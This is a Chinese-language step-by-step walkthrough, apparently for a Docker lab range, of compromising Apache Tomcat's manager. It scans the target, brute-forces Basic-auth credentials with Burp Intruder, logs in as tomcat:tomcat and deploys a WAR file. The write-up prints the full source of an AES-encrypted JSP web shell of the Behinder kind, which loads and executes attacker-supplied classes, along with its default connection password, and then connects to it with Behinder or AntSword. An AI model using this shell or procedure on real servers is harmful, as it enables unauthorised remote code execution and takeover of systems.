1.启动靶场
进入文件
进入目录
进入到靶场
启动靶场
docker-compose up -d
2.查看 ip地址
3.使用nmap对ip进行 扫描
发现存在8080的端口,并且端口是开放的状态,apache,tomcat搭建的
4.访问ip地址的端口
点击Manager app
6.开启BP进行抓包
随便输入账号和密码
抓包注意这一块,这是base64的加密方式
7.进行base64解密
界面内容。
11111 11111就是我们刚刚输入的账号和密码。而中间的:是用来分隔的
8.对账号和密码进行爆破
把他添加为一个变量
\
设置第一个参数,1对应的是用户名
选择使用的字典
选择完毕后,点击add
选择第二个参数
对应的是用户:密码 中的:.
由于:是已知的,我们就不用选择字典了,直接写:进去就可以了
再次点击add。
设置完成
选择3.设置第三个参数
第三个参数对应的是用户:密码,中的密码
选择字典,载入进去
点击add
payload processing中设置base64编码
由于bp会自动将符号进行 url 编码,所以需要将 Payload Encoding 默认的勾给去掉
开始爆破。
点击这个状态码200的。
查看数据包。
选中前面 设置的变量的地方,发送到Decoder模块进行解码
tomcat:tomcat
为账号和密码
9.登录账号
、、
登录成功
10.准备一个jsp木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
11.制作一个 war包
将.jsp的文件压缩成.zip格式的
将.zip的后缀修改为.war。
12.将war包部署Tomcat上
将刚刚制作好的.war的包上传上去
点击Deploy
13.查看应用列表中x.war包是否上传成功
这里是上传成功
14.访问刚刚上传好的.jsp的文件
http://192.168.189.131:8080/k/k.jsp
如果你上传的.war,比如说叫x.jsp那么目录就是
##http:/192.168.189.131:8080/x/x.jsp
以此类推
出现空白的界面代表成功
15.使用冰蝎或者蚁剑进行连接
连接密码:rebeyond